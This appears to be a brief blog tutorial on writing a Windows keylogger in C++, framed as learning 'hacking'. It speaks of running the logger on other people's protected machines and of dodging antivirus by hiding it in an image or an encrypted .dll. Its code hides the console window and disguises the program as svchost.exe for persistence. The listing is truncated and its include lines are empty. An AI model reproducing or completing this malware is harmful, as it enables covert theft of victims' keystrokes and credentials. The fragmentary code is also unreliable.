C++ Key Logger

Today we gonna mix between learning more about C++ Programming language and also learning more about hacking !


that's why i choose this topic to talk about, how to make a key logger in C++ ?

do u think it is impossible ?
well, you are wrong, it is one of the most easiest thing u could ever do! the main problem for that not how to make it but how to activate it and make it work on other people protected machines? as most of anti virus can detect easily most of key loggers if it wasn't made in a very smart way and hidden in a good way in a picture, or a .dll encrypted file !

and here is the code :

#include
#include
#include

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

int test,create;
test=test_key();/*check if key is available for opening*/

if (test==2)/*create key*/
{
char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
create=create_key(path);

}


int t=get_keys();

return t;
